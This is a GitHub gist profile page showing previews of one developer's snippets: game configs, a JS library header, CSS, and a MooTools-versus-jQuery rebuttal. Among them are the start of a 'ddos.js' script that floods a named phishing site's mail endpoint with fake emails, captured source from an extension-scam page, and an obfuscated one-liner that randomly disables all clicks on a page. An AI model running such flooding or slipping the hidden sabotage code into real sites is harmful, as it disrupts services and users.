Skip to content

Instantly share code, notes, and snippets.

View DimitarChristoff's full-sized avatar

Dimitar Christoff DimitarChristoff

View GitHub Profile
(function(exports) {
var Epitome = {};
typeof define == "function" && define.amd ? define("epitome", [], function() {
return Epitome
}) : typeof module == "object" ? module.exports = Epitome : exports.Epitome = Epitome
})(this), function(exports) {
var Epitome = typeof require == "function" ? require("./epitome") : exports.Epitome,
eq = Epitome.isEqual = function(a, b, stack) {
stack = stack || [];
if (a === b) return a !== 0 || 1 / a == 1 / b;
.lm_root {
position: relative
}
.lm_row>.lm_item {
float: left
}
.lm_content {
overflow: hidden;
@DimitarChristoff
DimitarChristoff / ddos.js
Last active February 12, 2021 19:37
ddos.js
/**
* Sends fake emails to spammers
* @param spams number - how many emails to send
* @param delay= number - number of seconds to wait between each send
* @param url= string - url of their email script
*/
(async (spams, delay = 1000, url = `https://fmi.icloud.com.isps.mobi/mobile/mail2.php`) => {
await import('https://cdnjs.cloudflare.com/ajax/libs/Faker/3.1.0/faker.min.js');
const { internet } = faker;
[Options]
ConfigVersion=2
MasterServers=<Steam Web API>,hl1master.steampowered.com:27010
ShowOptions=False
ShowServerQuery=True
ShowFilter=True
ShowAddressMode=2
RefreshInterval=2
RefreshSelected=True
KeepFavServersOnTop=True
@DimitarChristoff
DimitarChristoff / autoexec.conf
Created August 8, 2012 18:59
quakelive conf
unbindall
r_smp 1
// Punkbuster
seta cl_punkbuster "1"
seta pb_system "1"
seta pb_security "0"
seta pb_sleep "500"
seta pb_cl_enable "1"
@DimitarChristoff
DimitarChristoff / store-trap.html
Created October 22, 2016 22:50
chrome store abuse
<!-- view-source:http://cofinsa.info/helloworld.php?city=GB&clickid=wOG4PFS3EJJ786J0H5TOVOG4 -->
<!--<script>if(history.replaceState) history.replaceState({}, "", "/");</script>-->
<script>confirm('Add Extension to Leave');</script>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
@DimitarChristoff
DimitarChristoff / index.js
Created September 20, 2016 09:37
requirebin sketch
// Welcome! require() some modules from npm (like you were using browserify)
// and then hit Run Code to run your code on the right side.
// Modules get downloaded from browserify-cdn and bundled in your browser.
var p = require('glob-parse');
var toParse = 'js:**/*.{js,jsx}'.match(/(.+):(.+)/),
type = toParse.shift(),
pattern = toParse.pop();
console.log(p(pattern, { full: true }));
try{a=Array.from('modnar.htaM,elyts.ydob.tnemucod,00006,tuoemiTtes,enon,stnevEretniop').reverse().join('').split(',');a[5]=eval(a[5]);a[5]()>.5&&window[a[2]](function(){this[a[0]] = a[1]}.bind(eval(a[4])),a[5]()*a[3]+a[3])}catch(oO){}
@DimitarChristoff
DimitarChristoff / refutal.md
Created April 29, 2012 11:46
why jquery is not better than mootools

saw this artcile quoting 10 reasons why jquery is better than mootools. source: http://www.jquery4u.com/articles/jquery-mootools/

jQuery has better mobile support than Mootools – the latest release of jQuery Mobile Alpha 3 has been a breakthrough in how easy it can be to get your website “mobile efficient”. Mootools has mobile support including touch events but it’s not as widely available as jQuery options. (#1 was Previously jQuery vs Mootools filesizes).

not true. see http://moobilejs.com/

jQuery is less confusing than Mootools! – It has less native extensions (including element) – jQuery has about a dozen for Array, Object, and String and Mootools has about six dozen for Array, Object, String, Function, and Number.

how is less power and methods a good thing? the reason why mootools has more native methods is because it also shims browsers that lack ES5 functionality for all the natives that it extends. if anything, this goes against jquery.